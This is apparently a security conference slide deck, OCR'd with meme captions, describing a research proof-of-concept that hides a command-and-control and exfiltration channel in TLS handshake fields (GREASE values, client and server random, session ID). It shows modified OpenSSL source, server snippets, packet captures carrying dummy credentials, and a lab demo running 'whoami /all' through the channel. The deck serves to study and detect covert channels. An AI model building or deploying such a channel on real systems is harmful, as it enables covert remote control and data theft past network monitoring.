

TLS Protocol Manipulation

a (very) low throughput C2 channel



PLAY

CREATE

*Somehow
I
Manage*

INVENT



A still from the TV show 'The Office' featuring Michael Scott (Steve Carell) in his signature dark suit and striped tie. He is gesturing with his right hand while speaking. To his right, Angela Martin (Jenna Fischer) is seated, looking towards him. The background shows a wooden paneled wall and a painting of a landscape.


**WHEN I DISCOVERED YOUTUBE
I DIDN'T WORK FOR 5 DAYS**

ELECTRICITY AND MAGNETISM

Electricity = the set of physical phenomena associated with the presence and motion of matter that has a property of electric charge. It's related to magnetism, both being part of the phenomenon of electromagnetism.

Electric charge = a property of some subatomic particles which determines their electromagnetic interactions. Electrically charged matter is

Electric field = changes are surrounded by an electric field. The electric field produces a force on other



A circuit diagram shows a battery connected to a resistor (labeled $R = 5\Omega$). A light bulb is connected in parallel across the resistor. The voltage across the battery is $12V$. The current through the circuit is calculated as follows:

$$I = \frac{V}{R} = \frac{12V}{5\Omega} = 2.4A$$

The power dissipated in the resistor is:

$$P = I^2 R = (2.4A)^2 \cdot 5\Omega = 28.8W$$

Below the circuit, there are notes on power calculations:

- $P = V \cdot I$ (power = voltage · current)
- $P = \text{watts}$
- $V = \text{volts}$
- $I = \text{amps}$
- $1 \text{ watt} = 1 \text{ volt} \cdot 1 \text{ amp}$






A man in a dark suit and patterned tie is captured in mid-stride while running across a city street. The background is blurred, suggesting motion, and a colorful umbrella is visible in the distance.

**THE SPEED OF LIGHT
IS TOO SLOW**

| the wire



| agenda

- whoami
- quick TLS intro
- what was achieved
- how
- demo
- detect & mitigate



| whoami

- security researcher
- staff at the **Security Summer School**
- volunteer at security things



| tldr


- C2 channel:




| ?



| ?



| ?



| tldr

- C2 channel:
- from client via **ClientHello**
 - GREASE* 1 byte
 - random 32 bytes
 - session id 32 bytes
- from server via **ServerHello**
 - random 32 bytes



STOP USING BULLETPONTS



**YOU KNOW WHAT? I'M GONNA USE
THEM EVEN HARDER**


* credit to Caleb Yu

| quick tls intro



Figure 1: Message Flow for Full TLS Handshake

| quick tls intro



| previous c2 research

- **HTTP**
- **HTTPS**
- **DNS**


- **TCP**
- **SMB**



| previous c2 research

- Github
- Dropbox
- Youtube
- Google Workspace
- Discord
- Virus Total
- Velociraptor
- ...







A still from the TV show 'The Office' featuring Steve Carell as Michael Scott. He is wearing a dark pinstripe suit, a white shirt, and a light blue tie. He is standing in a hallway with wooden paneling and framed pictures on the wall. He is looking slightly upwards and to his right with a thoughtful expression.

THAT'S WHAT SHE SAID

| how



| how



| note

!= OPENSSL VULN



!= OPENSSL VULN

J. KELLY
SCOTT


and owner of a
skyline

I KNEW EXACTLY WHAT TO DO



J. Scott
SCOTT
and owner of a
timepiece

BUT IN A MUCH MORE REAL SENSE,
I HAD NO IDEA WHAT TO DO



| CLIENTHELLO - ON THE WIRE

No.	Time	Source	Destination	Protocol	Length	Info	
1124	36.540268	192.168.181.150	52.123.128.14	TLSv1.3	775	Client Hello (SNI=ecs.office.com)	
>	Frame 1124: Packet, 775 bytes on wire (6200 bits), 775 bytes captured (6200 bits) on interface						
>	Ethernet II, Src: VMware_60:a8:da (00:0c:29:60:a8:da), Dst: VMware_ee:d3:49 (00:50:56:ee:d3:49)						
>	Internet Protocol Version 4, Src: 192.168.181.150, Dst: 52.123.128.14						
>	Transmission Control Protocol, Src Port: 50097, Dst Port: 443, Seq: 1, Ack: 1, Len: 721						
>	Transport Layer Security [Stream index: 7]						
>	TLSv1.3 Record Layer: Handshake Protocol: Client Hello						
Content Type: Handshake (22)							
Version: TLS 1.0 (0x0301)							
Length: 716							
>	Handshake Protocol: Client Hello						
Handshake Type: Client Hello (1)							
Length: 712							
>	Version: TLS 1.2 (0x0303)						
Random: a26f0c9e18f17dfa0030cafa5d98102269593820e50d8b982422acff56af74df							
Session ID Length: 32							
Session ID: 00a9f9da0c6822c110bc1c1e790a24f431682cb6b5dd68429b14b0cb1aa09360							
Cipher Suites Length: 40							
>	Cipher Suites (20 suites)						
Compression Methods Length: 1							
>	Compression Methods (1 method)						
Extensions Length: 599							
>	Extension: server_name (len=19) name=ecs.office.com						
>	Extension: status request (len=5)						
>	Extension: supported_versions (len=5) TLS 1.3, TLS 1.2						
>	Extension: signature_algorithms (len=26)						
>	Extension: session_ticket (len=0)						
>	Extension: supported_groups (len=8)						
>	Extension: key_share (len=38) x25519						
>	Extension: post_handshake_auth (len=0)						
>	Extension: extended_master_secret (len=0)						
>	Extension: renegotiation_info (len=1)						
>	Extension: psk_key_exchange_modes (len=2)						
>	Extension: pre_shared_key (len=447)						
	0020 80 0e c3 b1 01 bb 4c c4 bf 30 7e 88 17 bb 50 18						
	0030 ff ff 2d b4 00 00 16 03 01 02 cc 01 00 02 c8 03						
	0040 03 a2 6f 0c 9e 18 f1 7d fa a0 30 ca fa 5d 98 10						
	0050 22 69 59 38 20 e5 0d 8b 98 24 22 ac ff 56 af 74						
	0060 df 20 00 a9 f9 da 0c 68 22 c1 10 bc 1c 1e 79 0a						
	0070 24 f4 31 68 2c b6 b5 dd 68 42 9b 14 b0 cb 1a a0						
	0080 93 60 00 28 13 02 13 01 c0 2c c0 2b c0 30 c0 2f						
	0090 c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13						
	00a0 00 9d 00 9c 00 3d 00 3c 00 35 00 2f 01 00 02 57						
	00b0 00 00 13 00 11 00 00 0e 65 63 73 2e 6f 66 66						
	00c0 69 63 65 2e 63 6f 6d 00 05 00 05 01 00 00 00 00						
	00d0 00 2b 00 05 04 03 04 03 03 00 0d 00 1a 00 18 08						
	00e0 04 08 05 08 06 04 01 05 01 02 01 04 03 05 03 02						
	00f0 03 02 02 06 01 06 03 00 23 00 00 00 0a 00 08 00						
	0100 06 00 1d 00 17 00 18 00 33 00 26 00 24 00 1d 00						
	0110 20 8f f0 70 19 e5 fe 44 d8 64 3b c6 f4 c0 c4 8c						
	0120 01 dd 74 54 59 73 3e b6 21 3b 40 5c c0 b0 12 d0						
	0130 47 00 31 00 00 00 17 00 00 ff 01 00 01 00 00 2d						
	0140 00 02 01 01 00 29 01 bf 01 8a 01 84 00 00 00 00						
	0150 f1 d3 0f df b7 2e b6 46 bc c5 73 07 72 97 43 13						
	0160 fa 53 5b 68 d6 43 be f7 5f c1 9f 21 64 ce 23 bb						
	0170 24 1e f2 b2 d3 d4 58 70 30 20 e6 05 46 22 5d c7						
	0180 87 84 1e 9e 5a b4 06 b3 c0 a1 6f 19 6f 65 6c 3e						
	0190 0a f3 8d f0 bc fb bd 6a ca e1 c5 6e 8d b3 fa bb						
	01a0 d9 64 9b 27 db d1 59 dd 04 57 c1 08 63 1d 47 4f						
	01b0 eb 0a 4d e1 1b 87 36 02 c5 dd 38 c4 c7 8f 58 29						
	01c0 37 af 99 c6 b9 da 65 6f 91 d0 a0 26 9e 04 b5 f1						
	01d0 09 fb 68 e6 d2 5a 95 d0 13 36 da 9d 70 5e 70 b3						
	01e0 01 bd 63 2a a1 72 4f 64 5b 27 c0 85 a4 18 8b 8d						
	01f0 67 a1 44 8f 76 f9 4b 94 84 d9 6a dd a4 3d dd e6						
	0200 ac 4c b9 88 be e9 3d 5e e4 63 f4 00 24 23 0b b3						
	0210 ac cc 20 ff 5c f7 bc 32 2d 6c a6 30 24 2b c0 2f						
	0220 9d a4 54 19 f1 82 b5 bc a6 61 1f 32 4c 2e 19 d8						
	0230 64 90 85 31 8f 69 00 0c 23 82 7a c5 d5 73 25 3a						
	0240 55 cd bf 18 70 cf 1d 5b ee ae 5e ac e5 84 8c 30						
	0250 f2 70 c5 0f 73 c8 fe dd 84 22 01 79 9d a1 3f ce						
	0260 73 cd b0 5a 96 a1 35 09 08 8d 64 83 ae 00 8c 27						
	0270 6a 48 da 29 3f 25 83 13 c7 93 c6 16 6b b3 0d 79						
	0280 bc 6f e3 43 ed 9d 3e 5a d2 e1 53 f8 10 8f d9 b9						

I SERVERHELLO - ON THE WIRE

| but what is GREASE?

| GREASE

RFC 8701

Applying **G**enerate **R**andom **E**xtensions **A**nd **S**ustain **E**xtensibility (**GREASE**) to TLS Extensibility

| GREASE

RFC 8701

Applying **G**enerate **R**andom **E**xtensions **A**nd **S**ustain **E**xtensibility (**GREASE**) to TLS Extensibility

0x0A0A	0x8A8A
0x1A1A	0x9A9A
0x2A2A	0xAAAA
0x3A3A	0xBABA
0x4A4A	0xCACA
0x5A5A	0xDADA
0x6A6A	0xEAEA
0x7A7A	0xFAFA

| GREASE

```
< Cipher Suites (17 suites)
  Cipher Suite: TLS_AES_128_GCM_SHA256 (0x1301)
  Cipher Suite: TLS_CHACHA20_POLY1305_SHA256 (0x1303)
  Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
  Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
  Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
  Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa9)
  Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc8a8)
  Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
  Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
  Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
  Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
  Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
  Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
  Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
  Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
  Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
  Cipher Suite: TLS RSA WITH AES 256 CBC SHA (0x0035)

  Compression Methods Length: 1
  > Compression Methods (1 method)
    Extensions Length: 1950
    > Extension: server_name (len=15) name=github.com
    > Extension: extended_master_secret (len=0)
    > Extension: renegotiation_info (len=1)
  < Extension: supported_groups (len=16)
    Type: supported_groups (10)
    Length: 16
    Supported Groups List Length: 14
    < Supported Groups (7 groups)
      Supported Group: Unknown (0x11ec)
      Supported Group: x25519 (0x001d)
      Supported Group: secp256r1 (0x0017)
      Supported Group: secp384r1 (0x0018)
      Supported Group: secp521r1 (0x0019)
      Supported Group: ff dhe2048 (0x0100)
      Supported Group: ff dhe3072 (0x0101)
      > Extension: ec_point_formats (len=2)
      > Extension: application_layer_protocol_negotiation (len=14)
      > Extension: status_request (len=5)
      > Extension: delegated_credentials (len=10)
      > Extension: signed_certificate_timestamp (len=0)
      > Extension: key_share (len=1327) Unknown (4588), x25519, secp256r1
    < Extension: supported_versions (len=5) TLS 1.3, TLS 1.2
      Type: supported_versions (43)
      Length: 5
      Supported Versions length: 4
      Supported Version: TLS 1.3 (0x0304)
      Supported Version: TLS 1.2 (0x0303)
      > Extension: signature_algorithms (len=24)
```

| GREASE

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< Cipher Suites (17 suites)
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  > Cipher Suite: TLS_AES_256_GCM_SHA384 (0x1302)
  > Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
  > Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
  > Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa9)
  > Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xccaa8)
  > Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
  > Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
  > Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
  > Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
  > Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
  > Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
  > Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
  > Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
  > Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
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      > Supported Groups (7 groups)
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        > Supported Group: x25519 (0x001d)
        > Supported Group: secp256r1 (0x0017)
        > Supported Group: secp384r1 (0x0018)
        > Supported Group: secp521r1 (0x0019)
        > Supported Group: ff dhe2048 (0x0100)
        > Supported Group: ff dhe3072 (0x0101)

        > Extension: ec_point_formats (len=2)
        > Extension: application_layer_protocol_negotiation (len=14)
        > Extension: status_request (len=5)
        > Extension: delegated_credentials (len=10)
        > Extension: signed_certificate_timestamp (len=0)
        > Extension: key_share (len=1327) Unknown (4588), x25519, secp256r1
        > Extension: supported_versions (len=5) TLS 1.3, TLS 1.2
          Type: supported_versions (43)
          Length: 5
          Supported Versions length: 4
          > Supported Version: TLS 1.3 (0x0304)
          > Supported Version: TLS 1.2 (0x0303)

        > Extension: signature_algorithms (len=24)
```

| GREASE

RFC 8701

Applying **G**enerate **R**andom **E**xtensions **A**nd **S**ustain **E**xtensibility (**GREASE**) to TLS Extensibility

0x0A0A	0x8A8A
0x1A1A	0x9A9A
0x2A2A	0xAAAA
0x3A3A	0xBABA
0x4A4A	0xCACA
0x5A5A	0xDADA
0x6A6A	0xEAEC
0x7A7A	0xFAFA

a

| GREASE

RFC 8701

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0x0A0A	0x8A8A
0x1A1A	0x9A9A
0x2A2A	0xAAAA
0x3A3A	0xBABA
0x4A4A	0xCACA
0x5A5A	0xDADA
0x6A6A	0xEAEA
0x7A7A	0xFAFA

a
97

| GREASE

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0x0A0A	0x8A8A
0x1A1A	0x9A9A
0x2A2A	0xAAAA
0x3A3A	0xBABA
0x4A4A	0xCACA
0x5A5A	0xDADA
0x6A6A	0xEAEC
0x7A7A	0xFAFA

a
97
0x61

| GREASE

RFC 8701

Applying **G**enerate **R**andom **E**xtensions **A**nd **S**ustain **E**xtensibility (**GREASE**) to TLS Extensibility

0x0A0A	0x8A8A	
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0x3A3A	0xBABA	
0x4A4A	0xCACA	
0x5A5A	0xDADA	
0x6A6A	0xEAEC	
0x7A7A	0xFAFA	

The diagram illustrates the mapping of GREASE values to ASCII characters. It consists of three columns of hex values and their corresponding ASCII representations:

- Column 1 (Hex): 0x0A0A, 0x1A1A, 0x2A2A, 0x3A3A, 0x4A4A, 0x5A5A, 0x6A6A, 0x7A7A.
- Column 2 (Hex): 0x8A8A, 0x9A9A, 0xAAAA, 0xBABA, 0xCACA, 0xDADA, 0xEAEC, 0xFAFA.
- Column 3 (ASCII): a, 97, 61.

The first seven rows show a one-to-one mapping between the first two columns. The eighth row shows a mapping from 0x6A6A to 0xEAEC, which is highlighted with a red box. The third column is also highlighted with a red box and contains the ASCII characters 'a', '97', and '61' respectively.


| GREASE

RFC 8701

Applying **G**enerate **R**andom **E**xtensions **A**nd **S**ustain **E**xtensibility (**GREASE**) to TLS Extensibility



origin story



origin story

is it even possible?

| how - exfil

```
include > openssl > C ssl.h > SSL_set_client_hello_session_id(SSL *, const unsigned char *, size_t)
2449
2450 // Declarations for enabling GREASE
2451 void SSL_CTX_set_grease_enabled(SSL_CTX *ctx, int enabled);
2452 void SSL_set_grease_enabled(SSL *s, int enabled);
2453 //additional declarations for setting GREASE
2454 void SSL_set_grease_version(SSL *s, uint16_t value);
2455 void SSL_set_grease_group(SSL *s, uint16_t value);
2456 void SSL_set_grease_cipher(SSL *s, uint16_t value);
2457 //declaration for external client random
2458 int SSL_set_client_random(SSL *s, const unsigned char *rand, size_t len);
2459 //declaration for external client session_id
2460 int SSL_set_client_hello_session_id(SSL *s, const unsigned char *sid, size_t sid_len);
```

| how - exfil

```
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| how - exfil

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
| how - exfil

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2459 //declaration for external client session_id
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```

| linkers & loaders

JOHN R. LEVINE

Linkers & Loaders



how - exfil

```
ssl > C ssl_lib.c > SSL_set_client_hello_session_id(SSL *, const unsigned char *, size_t)
5727 // add GREASE enabled to SSL_CTX and SSL
5728 void SSL_CTX_set_grease_enabled(SSL_CTX *ctx, int enabled) {
5729     ctx->grease_enabled = !enabled;
5730 }
5731
5732
5733 void SSL_set_grease_enabled(SSL *s, int enabled) {
5734     s->grease_enabled = !!enabled;
5735 }
5736 // define setter functions for GREASE
5737 void SSL_set_grease_version(SSL *s, uint16_t value) {
5738     s->grease_version = value;
5739 }
5740
5741 void SSL_set_grease_group(SSL *s, uint16_t value) {
5742     s->grease_group = value;
5743 }
5744
5745 void SSL_set_grease_cipher(SSL *s, uint16_t value) {
5746     s->grease_cipher = value;
5747 }
5748
5749 //added for external client random
5750 int SSL_set_client_random(SSL *s, const unsigned char *rand, size_t len) {
5751     if (s == NULL || rand == NULL || len != SSL3_RANDOM_SIZE)
5752         return 0;
5753     memcpy(s->custom_client_random, rand, SSL3_RANDOM_SIZE);
5754     s->custom_client_random_set = 1;
5755     return 1;
5756 }
5757
5758
5759 //added for external client session_id
5760 int SSL_set_client_hello_session_id(SSL *s, const unsigned char *sid, size_t sid_len)
5761 {
5762     if (s == NULL || sid == NULL || sid_len > SSL_MAX_SSL_SESSION_ID_LENGTH)
5763         return 0;
5764     memcpy(s->ext.custom_session_id, sid, sid_len);
5765     s->ext.custom_session_id_len = sid_len;
5766     s->ext.custom_session_id_set = 1;
5767     return 1;
5768 }
```

how - exfil

- github

<https://github.com/haarlems/openssl-research/commit/cc7aedbc35e5593d8c4493a0d70a4db45cf219d7>

```
ssl > C ssl_lib.c > SSL_set_client_hello_session_id(SSL *, const unsigned char *, size_t)
5727
5728 // add GREASE enabled to SSL_CTX and SSL
5729 void SSL_CTX_set_grease_enabled(SSL_CTX *ctx, int enabled) {
5730     ctx->grease_enabled = !enabled;
5731 }
5732
5733 void SSL_set_grease_enabled(SSL *s, int enabled) {
5734     s->grease_enabled = !!enabled;
5735 }
5736 // define setter functions for GREASE
5737 void SSL_set_grease_version(SSL *s, uint16_t value) {
5738     s->grease_version = value;
5739 }
5740
5741 void SSL_set_grease_group(SSL *s, uint16_t value) {
5742     s->grease_group = value;
5743 }
5744
5745 void SSL_set_grease_cipher(SSL *s, uint16_t value) {
5746     s->grease_cipher = value;
5747 }
5748
5749 //added for external client random
5750 int SSL_set_client_random(SSL *s, const unsigned char *rand, size_t len) {
5751     if (s == NULL || rand == NULL || len != SSL3_RANDOM_SIZE)
5752         return 0;
5753     memcpy(s->custom_client_random, rand, SSL3_RANDOM_SIZE);
5754     s->custom_client_random_set = 1;
5755     return 1;
5756 }
5757
5758 //added for external client session_id
5759 int SSL_set_client_hello_session_id(SSL *s, const unsigned char *sid, size_t sid_len)
5760 {
5761     if (s == NULL || sid == NULL || sid_len > SSL_MAX_SSL_SESSION_ID_LENGTH)
5762         return 0;
5763     memcpy(s->ext.custom_session_id, sid, sid_len);
5764     s->ext.custom_session_id_len = sid_len;
5765     s->ext.custom_session_id_set = 1;
5766     return 1;
5767 }
```

fun fact


No.	Time	Source	Destination	Protocol	Length	Info
1124	36.540268	192.168.181.150	52.123.128.14	TLSv1.3	775	Client Hello (SNI=)

> Frame 1124: Packet, 775 bytes on wire (6200 bits), 775 bytes captured (6200 bits) on interface
> Ethernet II, Src: VMware_60:a8:da (00:0c:29:60:a8:da), Dst: VMware_ee:d3:49 (00:50:56:ee:d3:49)
> Internet Protocol Version 4, Src: 192.168.181.150, Dst: 52.123.128.14
> Transmission Control Protocol, Src Port: 50097, Dst Port: 443, Seq: 1, Ack: 1, Len: 721


▼ Transport Layer Security
 [Stream index: 7]


 ▼ TLSv1.3 Record Layer: Handshake Protocol: Client Hello
 Content Type: Handshake (22)
 Version: TLS 1.0 (0x0301)
 Length: 716
 ▼ Handshake Protocol: Client Hello
 Handshake Type: Client Hello (1)
 Length: 712
 > Version: TLS 1.2 (0x0303)
 Random: a26f0c9e18f17dfaa030cafa5d98102269593820e50d8b982422acff56af74df
 Session ID Length: 32
 Session ID: 00a9f9da0c6822c110bc1c1e790a24f431682cb6b5dd68429b14b0cb1aa09360

| what we have



| what we want





No question about it.



I am ready to get hurt again.

| how - c2

| how - c2 - server

```
$ gcc server.c -o server -I /opt/openssl-3.5/include/ -L /opt/openssl-3.5/  
  lib64/ -Wl,-rpath,/opt/openssl-3.5/lib -lssl -lcrypto  
$ ./server  
[+] TCP server socket created  
[+] bound to port number: 8787  
[..]  
[+] TLS handshake completed  
[+] closed client socket  
8092B85F317F0000:error:0A000126:SSL routines::unexpected eof  
  while reading:ssl/record/rec_layer_s3.c:696:
```

| how - c2 - server

Status atm:

- working client
- working server receiving exfil but unexpected eof error on server printed out, doesnt affect the file though

Next steps:

- investigate error unexpected eof while reading ssl/record/rec_layer_s3.c:696
- modify server openssl lib to accept manipulated random
- modify client to interpret server random bytes as instructions/not instructions
- modify client to checkin with server for instructions (beacon?)
- cry
- figure it out anyway

| how - c2 - server

```
    }
    SSL_shutdown(ssl);
    SSL_free(ssl);
}
SSL_shutdown(ssl); ## this was it!! it fixes err 0A000126, cant believe it took me 3 days
CloseHandle(hFile);
closesocket(sock);
SSL_CTX_free(ctx);
```

| how - c2 - server


```
* Look in ssl/ssl_asn1.c for more details
* I'm using EXPLICIT tags so I can read the damn things using asn1parse :-).
*/
struct ssl_session_st {
```

A man with dark hair and a serious expression, wearing a light-colored suit jacket over a white shirt, stands in the foreground. Behind him is a construction site featuring a large yellow excavator and some industrial structures under a bright sky.

**I'M GOING TO MAKE THIS
WAY HARDER THAN IT NEEDS TO BE**

SSL_CONNECTION

S3



| ANSI C

SECOND EDITION

THE



PROGRAMMING
LANGUAGE

BRIAN W. KERNIGHAN
DENNIS M. RITCHIE

PRENTICE HALL SOFTWARE SERIES

| ANSI C

language referred to as the *spirit of C*:

- Trust the programmer. Generally speaking, the C language assumes you know what you're doing and lets you. This isn't always a good thing (for example, if you don't know what you're doing).

| ssl_lib.c

```
8369 /*begin research poc*/
8370 int SSL_set_server_random(SSL *ssl, const unsigned char *rand, size_t len)
8371 {
8372     SSL_CONNECTION *s;
8373     if (ssl == NULL || rand == NULL || len != SSL3_RANDOM_SIZE)
8374         return 0;
8375     s = SSL_CONNECTION_FROM_SSL(ssl);
8376
8377     memcpy(s->s3.server_random, rand, SSL3_RANDOM_SIZE);
8378     s->s3.server_random_set = 1;
8379     return 1;
8380 }
8381 /*end research poc*/
```

| how - c2 - server

| how - c2 - server

malformed packets

:32.321361403	192.168.181.1	192.168.181.132	PTP/IP	353 Picture Transfer Protocol
:32.321397170	192.168.181.132	192.168.181.1	TCP	54 8787 → 15740 [ACK] Seq=1 Ack=300 Win=64128 Len=0
:32.326192442	192.168.181.132	192.168.181.1	PTP/IP	2361 Picture Transfer Protocol
:32.326333009	192.168.181.1	192.168.181.132	TCP	60 15740 → 8787 [ACK] Seq=300 Ack=2308 Win=65280 Len=0
:32.326707773	192.168.181.1	192.168.181.132	PTP/IP	134 Picture Transfer Protocol
:32.326821692	192.168.181.132	192.168.181.1	PTP/IP	133 Picture Transfer Protocol
:32.326923469	192.168.181.1	192.168.181.132	PTP/IP	101 Picture Transfer Protocol
:32.326022475	192.168.181.1	192.168.181.132	PTP/IP	122 Picture Transfer Protocol

Frame 30: 353 bytes on wire (2824 bits), 353 bytes captured (2824 bits) on interface ens33, id 0

Ethernet II, Src: VMware_c0:00:08 (00:50:56:c0:00:08), Dst: VMware_26:19:3e (00:0c:29:26:19:3e)

Internet Protocol Version 4, Src: 192.168.181.1, Dst: 192.168.181.132

Transmission Control Protocol, Src Port: 15740, Dst Port: 8787, Seq: 1, Ack: 1, Len: 299

Picture Transfer Protocol

Length: 16843542
Packet Type: Unknown (0x01000126)

0010	01 53 08 dc 40 00 80 06	04 f2 c0 a8 b5 01 c0 a8	.S ..@.....
0020	b5 84 3d 7c 22 53 a9 f2	f3 6f ee e6 fa 24 50 18	..= "S .. o ...\$P.
0030	00 ff 55 59 00 00 16 03	01 01 26 01 00 01 22 03	.UY&...".
0040	03 33 0d 0a 75 73 65 72	6e 61 6d 65 34 3a 70 61	.3 ..user name4:pa
0050	73 73 77 6f 72 64 34 0d	0a 75 73 65 72 6e 61 6d	ssword4. .username
0060	65 20 35 3a 70 61 73 73	77 6f 72 64 35 0d 0a 75	e 5:pass word5 ..u
0070	73 65 72 6e 61 6d 65 36	3a 70 61 73 73 77 6f 72	sername6 :password6
0080	64 36 00 40 6a 6a 13 02	13 03 13 01 c0 2c c0 30	d6 @jj , .0
0090	00 9f cc a9 cc a8 cc aa	c0 2b c0 2f 00 9e c0 24+/. . . \$

| ssl_local.c

```
1244     struct ssl_connection_st {
1315         struct {
1317             unsigned char server_random[SSL3_RANDOM_SIZE];
1318             unsigned char client_random[SSL3_RANDOM_SIZE];
1319             /*begin research poc*/
1320             int server_random_set; /* override marker, 1 = set by app*/
1321             /*end research poc*/
1322             // [...]
1488     } s3;
```


| s3_lib.c

```
4774     int ssl_fill_hello_random(SSL_CONNECTION *s, int server,
4775                               unsigned char *result, size_t len,
4776                               DOWNGRADE dgrd)
4777 {
4778     int send_time = 0, ret;
4779
4780     if (len < 4)
4781         return 0;
4782     /*begin research poc*/
4783     if (server && s->s3.server_random_set) {
4784         memcpy(result, s->s3.server_random, len);
4785         return 1;
4786     }
4787     /*end research poc*/
```


| libssl.num


609 | SSL_set_server_random


610 3_5_0 EXIST::FUNCTION::STD






















| how - c2 - server


```
62     pthread_mutex_lock(&random_lock);
63     if (has_custom_random) {
64         memcpy(custom, server_random, BLOCK_SIZE); //use custom
65         has_custom_random = 0; //reset to default after use
66     } else {
67         memset(custom, 0xFD, 16);
68         if (RAND_bytes(custom + 16, 16) <= 0){
69             fprintf(stderr, "[-] RAND_bytes failed in client_hello_cb\n");
70             *al = SSL_AD_INTERNAL_ERROR;
71             return SSL_CLIENT_HELLO_ERROR;
72         }
73     }
74     pthread_mutex_unlock(&random_lock);
```


| how - c2 - server


```
62     pthread_mutex_lock(&random_lock);
63     if (has_custom_random) {
64         memcpy(custom, server_random, BLOCK_SIZE); //use custom
65         has_custom_random = 0; //reset to default after use
66     } else {
67         memset(custom, 0xFD, 16);
68         if (RAND_bytes(custom + 16, 16) <= 0){
69             fprintf(stderr, "[-] RAND_bytes failed in client_hello_cb\n");
70             *al = SSL_AD_INTERNAL_ERROR;
71             return SSL_CLIENT_HELLO_ERROR;
72         }
73     }
74     pthread_mutex_unlock(&random_lock);
```



























| how - c2 - server

Evading EDR


*The Definitive Guide to Defeating
Endpoint Detection Systems*



| how - c2 - server

3

**PROCESS- AND THREAD-
CREATION NOTIFICATIONS**



| how - c2 - server



| how - c2 - server



| how - c2 - server



&



| how - c2 - server

```
C:\Users\HP\Documents\20250626-research>poc-c2>client.exe 192.168.181.132 8787 -g -r -s  
[+] TCP socket created  
[+] Connected to 192.168.181.132:8787  
[+] GREASE ciphersuite set to: 0xfafa  
[+] GREASE supported_groups set to: 0xfafa  
[+] GREASE supported_versions set to: 0xbaba  
[+] server random ASCII: whoami /all  
[+] captured stdout from system():
```

USER INFORMATION

User Name	SID
ph\hp	S-1-5-21-1437022375-2599439474-171917120-1001

GROUP INFORMATION

Group Name Attributes	Type	SID
Everyone	Well-known group	S-1-1-0

command output buffer.....

command output buffer.....

if -g (grease)

command output buffer.....

if -g (grease)

command output buffer.....

1

command output buffer.....

if -g (grease)

command output buffer.....

1

if -r (random)

command output buffer.....

if -g (grease)

command output buffer.....

1

if -r (random)

command output buffer.....

command output buffer.....

if -g (grease)

command output buffer.....

1

if -r (random)

command output buffer.....

32

if -s (sid)

command output buffer.....

if -g (grease)

command output buffer.....

1

if -r (random)

command output buffer.....

32

if -s (sid)

command output buffer.....

32

| DEMO GODS BE WILLING

EMERGENCY EXIT
ONLY
I WILL
NOT FIND

DELIVERY ROOM

I DID IT!!! I MADE IT HAPPEN
I AM AWESOME AND AMAZING AND BAD FUCKING ASS

60 145,261010180 192,168,181,1

192.168.181.132

TLSv1.3 353 Client Hello

```
> Frame 60: 353 bytes on wire (2824 bits), 353 bytes captured (2824 bits) on interface ens3  
> Ethernet II, Src: VMware_c0:00:08 (00:50:56:c0:00:08), Dst: VMware_26:19:3e (00:0c:29:26:19:3e)  
> Internet Protocol Version 4, Src: 192.168.181.1, Dst: 192.168.181.132  
> Transmission Control Protocol, Src Port: 49681, Dst Port: 8787, Seq: 1, Ack: 1, Len: 296  
▼ Transport Layer Security
```

TLSv1.3 Record Layer: Handshake Protocol: Client Hello

Content Type: Handshake (22)

Version: TLS 1.0 (0x0301)

Length: 294

Handshake Protocol: Client Hello

Handshake Type: Client Hello (1)

Length: 290

> Version: TLS 1.2 (0x0303)

Session ID Length: 32

Cipher Suites Length: 64

Cipher Suites (32 suites)

Compression Methods | length: 1

Compression Methods (cont.)

Extensions Length: 153

Extensions: as point for

> Extension: cc_point_formats (len=4)
> Extension: supported_groups (len=14)

- > Extension: support for groups (item 14)
- > Extension: session ticket (item 8)

> Extension: session_ticket (req=0)

> Extension: encrypt_chen_mac (len=0)

Extension: extended_master_secret (1=0)

> Extension: signature_algorithms

> Extension: supported_versions (1)

> Extension: psk_key_exchange_modes (len=2)

> Extension: key_share (len=38) x25519

60 145,261010180 192,168,181,1

192.168.181.132

TLSv1.3 353 Client Hello

60 145.261010180 192.168.181.1		192.168.181.132		TLSv1.3	353 Client Hello
▼	Cipher Suites (32 suites)				
